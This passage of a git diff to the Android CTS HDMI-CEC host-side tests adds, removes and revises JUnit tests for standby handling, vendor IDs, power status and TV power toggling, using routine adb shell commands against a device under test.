+        wasOn = setHdmiControlDeviceAutoOff(false);
+    }
+
+    @After
+    public void resetDutState() throws Exception {
+        /* Wake up the device */
+        getDevice().executeShellCommand("input keyevent KEYCODE_WAKEUP");
+        setHdmiControlDeviceAutoOff(wasOn);
+    }
+
+    /**
+     * Test 11.1.3-2, 11.2.3-2<br>
+     * Tests that the device goes into standby when a {@code <STANDBY>} message is broadcast.
+     */
+    @Test
+    public void cect_HandleBroadcastStandby() throws Exception {
+        getDevice().reboot();
+        TimeUnit.SECONDS.sleep(5);
+        for (LogicalAddress source : mLogicalAddresses) {
+            if (!source.equals(mDutLogicalAddress)) {
+                checkDeviceAsleepAfterStandbySent(source, LogicalAddress.BROADCAST);
+            }
+        }
+    }
+
+    /**
+     * Test 11.1.3-3, 11.2.3-3<br>
+     * Tests that the device goes into standby when a {@code <STANDBY>} message is sent to it.
+     */
+    @Test
+    public void cect_HandleAddressedStandby() throws Exception {
+        getDevice().reboot();
+        for (LogicalAddress source : mLogicalAddresses) {
+            if (!source.equals(mDutLogicalAddress)) {
+                checkDeviceAsleepAfterStandbySent(source, mDutLogicalAddress);
+            }
+        }
+    }
+
+    /**
+     * Test 11.2.3-4<br>
+     * Tests that the device does not broadcast a {@code <STANDBY>} when going into standby mode.
+     */
+    @Test
+    public void cect_11_2_3_4_NoBroadcastStandby() throws Exception {
+        /*
+         * CEC CTS does not specify for TV a no broadcast on standby test. On Android TVs, there is
+         * a feature to turn off this standby broadcast and this test tests the same.
+         */
+        ITestDevice device = getDevice();
+        device.executeShellCommand("input keyevent KEYCODE_SLEEP");
+        hdmiCecClient.checkOutputDoesNotContainMessage(LogicalAddress.BROADCAST,
+                CecOperand.STANDBY);
+    }
+
+    private void defineLogicalAddressList() throws Exception {
+        /* TODO: b/174279917 Add LogicalAddress.BROADCAST to this list as well. */
+        mLogicalAddresses.add(LogicalAddress.TV);
+        mLogicalAddresses.add(LogicalAddress.RECORDER_1);
+        mLogicalAddresses.add(LogicalAddress.TUNER_1);
+        mLogicalAddresses.add(LogicalAddress.PLAYBACK_1);
+        mLogicalAddresses.add(LogicalAddress.AUDIO_SYSTEM);
+
+        if (mDutLogicalAddress.getDeviceType() == HdmiCecConstants.CEC_DEVICE_TYPE_TV) {
+            //Add logical addresses 13, 14 only for TV panel tests.
+            mLogicalAddresses.add(LogicalAddress.RESERVED_2);
+            mLogicalAddresses.add(LogicalAddress.SPECIFIC_USE);
+        }
+    }
+
+    private boolean setHdmiControlDeviceAutoOff(boolean turnOn) throws Exception {
+        ITestDevice device = getDevice();
+        String val = device.executeShellCommand("settings get global " +
+                HDMI_CONTROL_DEVICE_AUTO_OFF).trim();
+        String valToSet = turnOn ? "1" : "0";
+        device.executeShellCommand("settings put global "
+                + HDMI_CONTROL_DEVICE_AUTO_OFF + " " + valToSet);
+        device.executeShellCommand("settings get global " + HDMI_CONTROL_DEVICE_AUTO_OFF);
+        return val.equals("1");
+    }
+
+    private void checkDeviceAsleepAfterStandbySent(LogicalAddress source,
+            LogicalAddress destination) throws Exception {
+        ITestDevice device = getDevice();
+        hdmiCecClient.sendCecMessage(source, destination, CecOperand.STANDBY);
+        TimeUnit.SECONDS.sleep(5);
+        String wakeState = device.executeShellCommand("dumpsys power | grep mWakefulness=");
+        assertThat(wakeState.trim()).isEqualTo("mWakefulness=Asleep");
+        device.executeShellCommand("input keyevent KEYCODE_WAKEUP");
+        TimeUnit.SECONDS.sleep(5);
+    }
+}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecVendorCommandsTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecVendorCommandsTest.java
new file mode 100644
index 0000000..e3d1d82
--- /dev/null
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecVendorCommandsTest.java
@@ -0,0 +1,79 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hdmicec.cts.common;
+
+import static com.google.common.truth.Truth.assertThat;
+import static org.junit.Assume.assumeTrue;
+
+import android.hdmicec.cts.BaseHdmiCecCtsTest;
+import android.hdmicec.cts.CecMessage;
+import android.hdmicec.cts.CecOperand;
+import android.hdmicec.cts.HdmiCecConstants;
+import android.hdmicec.cts.LogicalAddress;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Rule;
+import org.junit.rules.RuleChain;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+/** HDMI CEC test to verify device vendor specific commands (Section 11.2.9) */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public final class HdmiCecVendorCommandsTest extends BaseHdmiCecCtsTest {
+
+    private static final int INCORRECT_VENDOR_ID = 0x0;
+
+    @Rule
+    public RuleChain ruleChain =
+        RuleChain
+            .outerRule(CecRules.requiresCec(this))
+            .around(CecRules.requiresLeanback(this))
+            .around(hdmiCecClient);
+
+    /**
+     * Test 11.2.9-1
+     * <p>Tests that the device responds to a {@code <GIVE_DEVICE_VENDOR_ID>} from various source
+     * devices with a {@code <DEVICE_VENDOR_ID>}.
+     */
+    @Test
+    public void cect_11_2_9_1_GiveDeviceVendorId() throws Exception {
+        for (LogicalAddress logicalAddress : LogicalAddress.values()) {
+            // Skip the logical address of this device
+            if (logicalAddress == mDutLogicalAddress) {
+                continue;
+            }
+            hdmiCecClient.sendCecMessage(logicalAddress, CecOperand.GIVE_DEVICE_VENDOR_ID);
+            String message = hdmiCecClient.checkExpectedOutput(CecOperand.DEVICE_VENDOR_ID);
+            assertThat(CecMessage.getParams(message)).isNotEqualTo(INCORRECT_VENDOR_ID);
+        }
+    }
+
+    /**
+     * Test 11.2.9-2
+     * <p>Tests that the device broadcasts a {@code <DEVICE_VENDOR_ID>} message after successful
+     * initialisation and address allocation.
+     */
+    @Test
+    public void cect_11_2_9_2_DeviceVendorIdOnInit() throws Exception {
+        ITestDevice device = getDevice();
+        device.reboot();
+        String message = hdmiCecClient.checkExpectedOutput(CecOperand.DEVICE_VENDOR_ID);
+        assertThat(CecMessage.getParams(message)).isNotEqualTo(INCORRECT_VENDOR_ID);
+    }
+}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecLogicalAddressTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecLogicalAddressTest.java
deleted file mode 100644
index 40b2d37..0000000
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecLogicalAddressTest.java
+++ /dev/null
@@ -1,69 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.hdmicec.cts.playback;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.hdmicec.cts.BaseHdmiCecCtsTest;
-import android.hdmicec.cts.CecMessage;
-import android.hdmicec.cts.CecOperand;
-import android.hdmicec.cts.HdmiCecClientWrapper;
-import android.hdmicec.cts.HdmiCecConstants;
-import android.hdmicec.cts.LogicalAddress;
-import android.hdmicec.cts.RequiredPropertyRule;
-import android.hdmicec.cts.RequiredFeatureRule;
-
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
-import org.junit.Rule;
-import org.junit.rules.RuleChain;
-import org.junit.runner.RunWith;
-import org.junit.Test;
-
-/** HDMI CEC test to verify physical address after device reboot (Section 10.2.3) */
-@RunWith(DeviceJUnit4ClassRunner.class)
-public final class HdmiCecLogicalAddressTest extends BaseHdmiCecCtsTest {
-
-    private static final LogicalAddress PLAYBACK_DEVICE = LogicalAddress.PLAYBACK_1;
-
-    public HdmiCecLogicalAddressTest() {
-        super(PLAYBACK_DEVICE);
-    }
-
-    @Rule
-    public RuleChain ruleChain =
-        RuleChain
-            .outerRule(CecRules.requiresCec(this))
-            .around(CecRules.requiresLeanback(this))
-            .around(CecRules.requiresDeviceType(this, PLAYBACK_DEVICE))
-            .around(hdmiCecClient);
-
-    /**
-     * Test 10.2.3-1
-     * Tests that the device broadcasts a <REPORT_PHYSICAL_ADDRESS> after a reboot and that the
-     * device has taken the logical address "4".
-     */
-    @Test
-    public void cect_10_2_3_1_RebootLogicalAddress() throws Exception {
-        ITestDevice device = getDevice();
-        device.executeShellCommand("reboot");
-        device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
-        String message = hdmiCecClient.checkExpectedOutput(CecOperand.REPORT_PHYSICAL_ADDRESS);
-        assertThat(CecMessage.getSource(message)).isEqualTo(PLAYBACK_DEVICE);
-    }
-}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecOneTouchPlayTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecOneTouchPlayTest.java
index a47a81d..b91b90a 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecOneTouchPlayTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecOneTouchPlayTest.java
@@ -38,22 +38,6 @@
 @RunWith(DeviceJUnit4ClassRunner.class)
 public final class HdmiCecOneTouchPlayTest extends BaseHdmiCecCtsTest {
 
-    private static final int PHYSICAL_ADDRESS = 0x1000;
-    /**
-     * The package name of the APK.
-     */
-    private static final String HDMI_CEC_HELPER_PACKAGE = "android.hdmicec.app";
-    /**
-     * The class name of the main activity in the APK.
-     */
-    private static final String HDMI_CONTROL_HELPER_CLASS = "HdmiControlManagerHelper";
-    /**
-     * Intent to trigger an OTP.
-     */
-    private static final String OTP_ACTION = String.format(
-        "android.hdmicec.app.OTP -n %s/%s.%s", HDMI_CEC_HELPER_PACKAGE, HDMI_CEC_HELPER_PACKAGE,
-        HDMI_CONTROL_HELPER_CLASS);
-
     /** Intent to launch the remote pairing activity */
     private static final String ACTION_CONNECT_INPUT_NORMAL =
             "com.google.android.intent.action.CONNECT_INPUT";
@@ -82,10 +66,9 @@
 
     /**
      * Test 11.2.1-1
-     * Tests that the device sends a <TEXT_VIEW_ON> when the home key is pressed on device, followed
-     * by a <ACTIVE_SOURCE> message.
+     * Tests that the device sends a {@code <Text View On>} when the "One Touch Play" function is
+     * invoked on the device, followed by a {@code <Active Source>} message.
      */
-    @Ignore("b/169755426")
     @Test
     public void cect_11_2_1_1_OneTouchPlay() throws Exception {
         ITestDevice device = getDevice();
@@ -97,8 +80,8 @@
     }
 
     /**
-     * Tests that the device sends a <TEXT_VIEW_ON> when the pairing activity is started on
-     * device, followed by a <ACTIVE_SOURCE> message.
+     * Tests that the device sends a {@code <Text View On>} when the pairing activity is started on
+     * device, followed by a {@code <Active Source>} message.
      */
     @Test
     public void cect_PairingActivity_OneTouchPlay() throws Exception {
@@ -112,11 +95,6 @@
     }
 
     private void sendOtp(ITestDevice device) throws Exception {
-        // Clear activity
-        device.executeShellCommand(FORCE_STOP_COMMAND + HDMI_CEC_HELPER_PACKAGE);
-        // Clear logcat.
-        device.executeAdbCommand("logcat", "-c");
-        // Start the APK and wait for it to complete.
-        device.executeShellCommand(START_COMMAND + OTP_ACTION);
+        device.executeShellCommand("cmd hdmi_control onetouchplay");
     }
 }
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecPhysicalAddressTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecPhysicalAddressTest.java
deleted file mode 100644
index 28d8d9510..0000000
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecPhysicalAddressTest.java
+++ /dev/null
@@ -1,64 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.hdmicec.cts.playback;
-
-import android.hdmicec.cts.BaseHdmiCecCtsTest;
-import android.hdmicec.cts.CecMessage;
-import android.hdmicec.cts.CecOperand;
-import android.hdmicec.cts.HdmiCecClientWrapper;
-import android.hdmicec.cts.HdmiCecConstants;
-import android.hdmicec.cts.LogicalAddress;
-import android.hdmicec.cts.RequiredPropertyRule;
-import android.hdmicec.cts.RequiredFeatureRule;
-
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
-import org.junit.Rule;
-import org.junit.rules.RuleChain;
-import org.junit.runner.RunWith;
-import org.junit.Test;
-
-/** HDMI CEC test to verify physical address after device reboot (Section 10.1.2) */
-@RunWith(DeviceJUnit4ClassRunner.class)
-public final class HdmiCecPhysicalAddressTest extends BaseHdmiCecCtsTest {
-
-    public HdmiCecPhysicalAddressTest() {
-        super(LogicalAddress.PLAYBACK_1);
-    }
-
-    @Rule
-    public RuleChain ruleChain =
-        RuleChain
-            .outerRule(CecRules.requiresCec(this))
-            .around(CecRules.requiresLeanback(this))
-            .around(CecRules.requiresDeviceType(this, LogicalAddress.PLAYBACK_1))
-            .around(hdmiCecClient);
-    /**
-     * Test 10.1.2-1
-     * Tests that the device broadcasts a <REPORT_PHYSICAL_ADDRESS> after a reboot and that the
-     * device has taken the physical address 1.0.0.0.
-     */
-    @Test
-    public void cect_10_1_2_1_RebootPhysicalAddress() throws Exception {
-        ITestDevice device = getDevice();
-        device.executeShellCommand("reboot");
-        device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
-        String message = hdmiCecClient.checkExpectedOutput(CecOperand.REPORT_PHYSICAL_ADDRESS);
-        CecMessage.assertPhysicalAddressValid(message, dutPhysicalAddress);
-    }
-}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecPowerStatusTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecPowerStatusTest.java
deleted file mode 100644
index 4484ee8..0000000
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecPowerStatusTest.java
+++ /dev/null
@@ -1,110 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.hdmicec.cts.playback;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.hdmicec.cts.BaseHdmiCecCtsTest;
-import android.hdmicec.cts.CecMessage;
-import android.hdmicec.cts.CecOperand;
-import android.hdmicec.cts.HdmiCecClientWrapper;
-import android.hdmicec.cts.HdmiCecConstants;
-import android.hdmicec.cts.LogicalAddress;
-import android.hdmicec.cts.RequiredPropertyRule;
-import android.hdmicec.cts.RequiredFeatureRule;
-
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
-import org.junit.Rule;
-import org.junit.rules.RuleChain;
-import org.junit.runner.RunWith;
-import org.junit.Test;
-
-import java.util.concurrent.TimeUnit;
-
-/** HDMI CEC test to check if the device reports power status correctly (Section 11.2.14) */
-@RunWith(DeviceJUnit4ClassRunner.class)
-public final class HdmiCecPowerStatusTest extends BaseHdmiCecCtsTest {
-
-    private static final int ON = 0x0;
-    private static final int OFF = 0x1;
-    private static final int IN_TRANSITION_TO_STANDBY = 0x3;
-
-    private static final int SLEEP_TIMESTEP_SECONDS = 1;
-    private static final int WAIT_TIME = 5;
-    private static final int MAX_SLEEP_TIME = 8;
-
-    public HdmiCecPowerStatusTest() {
-        super(LogicalAddress.PLAYBACK_1);
-    }
-
-    @Rule
-    public RuleChain ruleChain =
-        RuleChain
-            .outerRule(CecRules.requiresCec(this))
-            .around(CecRules.requiresLeanback(this))
-            .around(CecRules.requiresDeviceType(this, LogicalAddress.PLAYBACK_1))
-            .around(hdmiCecClient);
-
-    /**
-     * Test 11.2.14-1
-     * Tests that the device broadcasts a <REPORT_POWER_STATUS> with params 0x0 when the device is
-     * powered on.
-     */
-    @Test
-    public void cect_11_2_14_1_PowerStatusWhenOn() throws Exception {
-        ITestDevice device = getDevice();
-        /* Make sure the device is not booting up/in standby */
-        device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
-        hdmiCecClient.sendCecMessage(LogicalAddress.TV, CecOperand.GIVE_POWER_STATUS);
-        String message = hdmiCecClient.checkExpectedOutput(LogicalAddress.TV,
-            CecOperand.REPORT_POWER_STATUS);
-        assertThat(CecMessage.getParams(message)).isEqualTo(ON);
-    }
-
-    /**
-     * Test 11.2.14-2
-     * Tests that the device broadcasts a <REPORT_POWER_STATUS> with params 0x1 when the device is
-     * powered off.
-     */
-    @Test
-    public void cect_11_2_14_2_PowerStatusWhenOff() throws Exception {
-        ITestDevice device = getDevice();
-        try {
-            /* Make sure the device is not booting up/in standby */
-            device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
-            /* Home Key to prevent device from going to deep suspend state */
-            device.executeShellCommand("input keyevent KEYCODE_HOME");
-            device.executeShellCommand("input keyevent KEYCODE_SLEEP");
-            TimeUnit.SECONDS.sleep(WAIT_TIME);
-            int waitTimeSeconds = WAIT_TIME;
-            int powerStatus;
-            do {
-                TimeUnit.SECONDS.sleep(SLEEP_TIMESTEP_SECONDS);
-                waitTimeSeconds += SLEEP_TIMESTEP_SECONDS;
-                hdmiCecClient.sendCecMessage(LogicalAddress.TV, CecOperand.GIVE_POWER_STATUS);
-                powerStatus = CecMessage.getParams(hdmiCecClient.checkExpectedOutput(
-                        LogicalAddress.TV, CecOperand.REPORT_POWER_STATUS));
-            } while (powerStatus == IN_TRANSITION_TO_STANDBY && waitTimeSeconds <= MAX_SLEEP_TIME);
-            assertThat(powerStatus).isEqualTo(OFF);
-        } finally {
-            /* Wake up the device */
-            device.executeShellCommand("input keyevent KEYCODE_WAKEUP");
-        }
-    }
-}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecRoutingControlTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecRoutingControlTest.java
index f18268e..54b9be2 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecRoutingControlTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecRoutingControlTest.java
@@ -110,6 +110,7 @@
                     LogicalAddress.BROADCAST,
                     CecOperand.SET_STREAM_PATH,
                     CecMessage.formatParams(dumpsysPhysicalAddress));
+            TimeUnit.SECONDS.sleep(5);
             device.executeShellCommand("input keyevent KEYCODE_SLEEP");
             String message = hdmiCecClient.checkExpectedOutput(LogicalAddress.TV,
                     CecOperand.INACTIVE_SOURCE);
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemStandbyTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemStandbyTest.java
deleted file mode 100644
index d78d318..0000000
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemStandbyTest.java
+++ /dev/null
@@ -1,142 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.hdmicec.cts.playback;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.hdmicec.cts.BaseHdmiCecCtsTest;
-import android.hdmicec.cts.CecOperand;
-import android.hdmicec.cts.HdmiCecClientWrapper;
-import android.hdmicec.cts.HdmiCecConstants;
-import android.hdmicec.cts.LogicalAddress;
-import android.hdmicec.cts.RequiredPropertyRule;
-import android.hdmicec.cts.RequiredFeatureRule;
-
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
-import org.junit.Rule;
-import org.junit.rules.RuleChain;
-import org.junit.runner.RunWith;
-import org.junit.Test;
-
-import java.util.concurrent.TimeUnit;
-
-/** HDMI CEC test to verify the device handles standby correctly (Section 11.2.3) */
-@RunWith(DeviceJUnit4ClassRunner.class)
-public final class HdmiCecSystemStandbyTest extends BaseHdmiCecCtsTest {
-
-    private static final String HDMI_CONTROL_DEVICE_AUTO_OFF =
-            "hdmi_control_auto_device_off_enabled";
-
-    public HdmiCecSystemStandbyTest() {
-        super(LogicalAddress.PLAYBACK_1);
-    }
-
-    @Rule
-    public RuleChain ruleChain =
-        RuleChain
-            .outerRule(CecRules.requiresCec(this))
-            .around(CecRules.requiresLeanback(this))
-            .around(CecRules.requiresDeviceType(this, LogicalAddress.PLAYBACK_1))
-            .around(hdmiCecClient);
-
-    private boolean setHdmiControlDeviceAutoOff(boolean turnOn) throws Exception {
-        ITestDevice device = getDevice();
-        String val = device.executeShellCommand("settings get global " +
-                HDMI_CONTROL_DEVICE_AUTO_OFF).trim();
-        String valToSet = turnOn ? "1" : "0";
-        device.executeShellCommand("settings put global "
-                + HDMI_CONTROL_DEVICE_AUTO_OFF + " " + valToSet);
-        device.executeShellCommand("settings get global " + HDMI_CONTROL_DEVICE_AUTO_OFF);
-        return val.equals("1");
-    }
-
-    private void checkDeviceAsleepAfterStandbySent(LogicalAddress source, LogicalAddress destination)
-            throws Exception {
-        ITestDevice device = getDevice();
-        try {
-            device.executeShellCommand("input keyevent KEYCODE_HOME");
-            TimeUnit.SECONDS.sleep(5);
-            hdmiCecClient.sendCecMessage(source, destination, CecOperand.STANDBY);
-            TimeUnit.SECONDS.sleep(5);
-            String wakeState = device.executeShellCommand("dumpsys power | grep mWakefulness=");
-            assertThat(wakeState.trim()).isEqualTo("mWakefulness=Asleep");
-        } finally {
-            /* Wake up the device */
-            device.executeShellCommand("input keyevent KEYCODE_WAKEUP");
-        }
-    }
-
-    /**
-     * Test 11.2.3-2
-     * Tests that the device goes into standby when a <STANDBY> message is broadcast.
-     */
-    @Test
-    public void cect_11_2_3_2_HandleBroadcastStandby() throws Exception {
-        getDevice().executeShellCommand("reboot");
-        getDevice().waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
-        try {
-            TimeUnit.SECONDS.sleep(5);
-            checkDeviceAsleepAfterStandbySent(LogicalAddress.TV, LogicalAddress.BROADCAST);
-            /* Wake up the TV */
-            hdmiCecClient.sendConsoleMessage("on " + LogicalAddress.TV);
-            checkDeviceAsleepAfterStandbySent(LogicalAddress.RECORDER_1, LogicalAddress.BROADCAST);
-            /* Wake up the TV */
-            hdmiCecClient.sendConsoleMessage("on " + LogicalAddress.TV);
-            checkDeviceAsleepAfterStandbySent(LogicalAddress.AUDIO_SYSTEM, LogicalAddress.BROADCAST);
-            /* Wake up the TV */
-            hdmiCecClient.sendConsoleMessage("on " + LogicalAddress.TV);
-            checkDeviceAsleepAfterStandbySent(LogicalAddress.PLAYBACK_2, LogicalAddress.BROADCAST);
-        } finally {
-            /* Wake up the TV */
-            hdmiCecClient.sendConsoleMessage("on " + LogicalAddress.TV);
-        }
-    }
-
-    /**
-     * Test 11.2.3-3
-     * Tests that the device goes into standby when a <STANDBY> message is sent to it.
-     */
-    @Test
-    public void cect_11_2_3_3_HandleAddressedStandby() throws Exception {
-        getDevice().executeShellCommand("reboot");
-        getDevice().waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
-        checkDeviceAsleepAfterStandbySent(LogicalAddress.TV, LogicalAddress.PLAYBACK_1);
-        checkDeviceAsleepAfterStandbySent(LogicalAddress.RECORDER_1, LogicalAddress.PLAYBACK_1);
-        checkDeviceAsleepAfterStandbySent(LogicalAddress.AUDIO_SYSTEM, LogicalAddress.PLAYBACK_1);
-        checkDeviceAsleepAfterStandbySent(LogicalAddress.PLAYBACK_2, LogicalAddress.PLAYBACK_1);
-        checkDeviceAsleepAfterStandbySent(LogicalAddress.BROADCAST, LogicalAddress.PLAYBACK_1);
-    }
-
-    /**
-     * Test 11.2.3-4
-     * Tests that the device does not broadcast a <STANDBY> when going into standby mode.
-     */
-    @Test
-    public void cect_11_2_3_4_NoBroadcastStandby() throws Exception {
-        ITestDevice device = getDevice();
-        boolean wasOn = setHdmiControlDeviceAutoOff(false);
-        try {
-            device.executeShellCommand("input keyevent KEYCODE_SLEEP");
-            hdmiCecClient.checkOutputDoesNotContainMessage(LogicalAddress.BROADCAST, CecOperand.STANDBY);
-            device.executeShellCommand("input keyevent KEYCODE_WAKEUP");
-        } finally {
-            setHdmiControlDeviceAutoOff(wasOn);
-        }
-    }
-}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecTvPowerToggleTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecTvPowerToggleTest.java
new file mode 100644
index 0000000..04b5e10
--- /dev/null
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecTvPowerToggleTest.java
@@ -0,0 +1,177 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hdmicec.cts.playback;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.hdmicec.cts.BaseHdmiCecCtsTest;
+import android.hdmicec.cts.CecMessage;
+import android.hdmicec.cts.CecOperand;
+import android.hdmicec.cts.HdmiCecClientWrapper;
+import android.hdmicec.cts.HdmiCecConstants;
+import android.hdmicec.cts.LogicalAddress;
+import android.hdmicec.cts.RequiredPropertyRule;
+import android.hdmicec.cts.RequiredFeatureRule;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Rule;
+import org.junit.rules.RuleChain;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+import static android.hdmicec.cts.HdmiCecConstants.TIMEOUT_SAFETY_MS;
+
+import java.util.concurrent.TimeUnit;
+
+/**
+ * HDMI CEC test to verify TV power toggle behavior
+ */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public final class HdmiCecTvPowerToggleTest extends BaseHdmiCecCtsTest {
+
+    private static final int ON = 0x0;
+    private static final int OFF = 0x1;
+
+    private static final LogicalAddress PLAYBACK_DEVICE = LogicalAddress.PLAYBACK_1;
+    private static final String POWER_CONTROL_MODE =
+            "send_standby_on_sleep";
+    @Rule
+    public RuleChain ruleChain =
+            RuleChain
+                    .outerRule(CecRules.requiresCec(this))
+                    .around(CecRules.requiresLeanback(this))
+                    .around(CecRules.requiresDeviceType(this, LogicalAddress.PLAYBACK_1))
+                    .around(hdmiCecClient);
+
+    public HdmiCecTvPowerToggleTest() {
+        super(LogicalAddress.PLAYBACK_1);
+    }
+
+    private String setPowerControlMode(String valToSet) throws Exception {
+        ITestDevice device = getDevice();
+        String val = device.executeShellCommand("settings get global " +
+                POWER_CONTROL_MODE).trim();
+        device.executeShellCommand("settings put global "
+                + POWER_CONTROL_MODE + " " + valToSet);
+        return val;
+    }
+
+    /**
+     * Tests that KEYCODE_TV_POWER functions as a TV power toggle.
+     * Device is awake and not active source. TV is on.
+     */
+    @Test
+    public void cectTvPowerToggleTest_awake_noActiveSource_tvOn() throws Exception {
+        ITestDevice device = getDevice();
+        // Make sure the device is not booting up/in standby
+        device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
+        String previousPowerControlMode = setPowerControlMode("to_tv");
+        try {
+            hdmiCecClient.sendCecMessage(LogicalAddress.TV, LogicalAddress.BROADCAST,
+                    CecOperand.ACTIVE_SOURCE, CecMessage.formatParams("0000"));
+            Thread.sleep(TIMEOUT_SAFETY_MS);
+            device.executeShellCommand("input keyevent KEYCODE_TV_POWER");
+            hdmiCecClient.checkExpectedOutput(LogicalAddress.TV, CecOperand.GIVE_POWER_STATUS);
+            hdmiCecClient.sendCecMessage(LogicalAddress.TV, PLAYBACK_DEVICE,
+                    CecOperand.REPORT_POWER_STATUS, CecMessage.formatParams(ON));
+            // Verify that device is asleep and <Standby> was sent to TV.
